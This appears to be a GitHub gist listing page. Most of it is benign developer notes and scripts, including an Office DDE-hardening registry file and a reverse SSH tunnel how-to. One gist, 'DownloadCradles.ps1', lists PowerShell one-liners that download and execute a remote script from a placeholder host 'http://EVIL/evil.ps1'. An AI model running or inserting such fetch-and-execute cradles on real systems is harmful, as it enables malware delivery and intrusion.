Skip to content

Instantly share code, notes, and snippets.

View webframp's full-sized avatar

Sean Escriva webframp

View GitHub Profile
@mitchellh
mitchellh / merge_vs_rebase_vs_squash.md
Last active December 9, 2024 12:54
Merge vs. Rebase vs. Squash

I get asked pretty regularly what my opinion is on merge commits vs rebasing vs squashing. I've typed up this response so many times that I've decided to just put it in a gist so I can reference it whenever it comes up again.

I use merge, squash, rebase all situationally. I believe they all have their merits but their usage depends on the context. I think anyone who says any particular strategy is the right answer 100% of the time is wrong, but I think there is considerable acceptable leeway in when you use each. What follows is my personal and professional opinion:

@wdormann
wdormann / disable_ddeauto.reg
Last active October 1, 2024 17:10
Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Options]
"DontUpdateLinks"=dword:00000001
[HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Options]
"DontUpdateLinks"=dword:00000001
[HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Options]
"DontUpdateLinks"=dword:00000001
@dvdbng
dvdbng / zsh_to_fish.py
Created December 21, 2016 18:02
Migrate zsh history to fish
import os
import re
def zsh_to_fish(cmd):
return (cmd.replace('&&', '; and ')
.replace('||', '; or '))
def is_valid_fish(cmd):

Things I like

simple deployment

Initially getting started is very easy. Being a java based application, it ships with a nice embedded db that will meet most small usage scenarios very easily.

backup/recovery

Artifactory makes backups very easy to configure and restores are very straightforward. I've done several migrations from/to AWS and installs and it's worked very well.

dedupe

@mattifestation
mattifestation / CIPolicyParser.ps1
Last active December 26, 2024 20:54
Functions to recover information from binary Windows Defender Application Control (WDAC) Code Integrity policies.
# Ensure System.Security assembly is loaded.
Add-Type -AssemblyName System.Security
function ConvertTo-CIPolicy {
<#
.SYNOPSIS
Converts a binary file that contains a Code Integrity policy into XML format.
Author: Matthew Graeber (@mattifestation)
@webframp
webframp / service-checklist.md
Created September 13, 2016 17:52 — forked from acolyer/service-checklist.md
Internet Scale Services Checklist

Internet Scale Services Checklist

A checklist for designing and developing internet scale services, inspired by James Hamilton's 2007 paper "On Desgining and Deploying Internet-Scale Services."

Basic tenets

  • Does the design expect failures to happen regularly and handle them gracefully?
  • Have we kept things as simple as possible?

Just some notes and references for myself.

  • In bash, you can access your C:\ drive via /mnt/c/
  • ~ = C:\Users\MLM\AppData\Local\lxss\home\mlm and is different from your Windows user directory C:\Users\MLM

How to google things

@HarmJ0y
HarmJ0y / DownloadCradles.ps1
Last active December 28, 2024 18:12
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@distransient
distransient / Config.ini
Created June 24, 2015 01:06
bug.n solarized color theme
Config_backColor_#1=eee8d5;eee8d5;eee8d5;eee8d5;eee8d5;eee8d5;eee8d5;eee8d5;eee8d5
Config_backColor_#2=073642;;;;;;;eee8d5;eee8d5
Config_backColor_#3=;;;;;;;eee8d5;
Config_foreColor_#1=268bd2;eee8d5;eee8d5;eee8d5;eee8d5;eee8d5;eee8d5;268bd2;073642
Config_foreColor_#2=d33682;;;;;;;073642;073642
Config_foreColor_#3=;;;;;;;d33682;
Config_fontColor_#1=93a1a1;93a1a1;93a1a1;93a1a1;93a1a1;93a1a1;93a1a1;93a1a1;93a1a1
Config_fontColor_#2=93a1a1;93a1a1;93a1a1;93a1a1;93a1a1;93a1a1;93a1a1;93a1a1;93a1a1
Config_fontColor_#3=;;;;;;;d33682;
@talflon
talflon / ssh-back-over-ssh.md
Last active February 22, 2017 18:25
Tunneling SSH back through another SSH

If you run a command like this from host1:

$ ssh -N user@host2 -R 12201:localhost:22 \
      -o ServerAliveInterval=10 -o ServerAliveCountMax=2

you can then, from host2, run:

$ ssh -p 12201 user@localhost

to connect back to host1.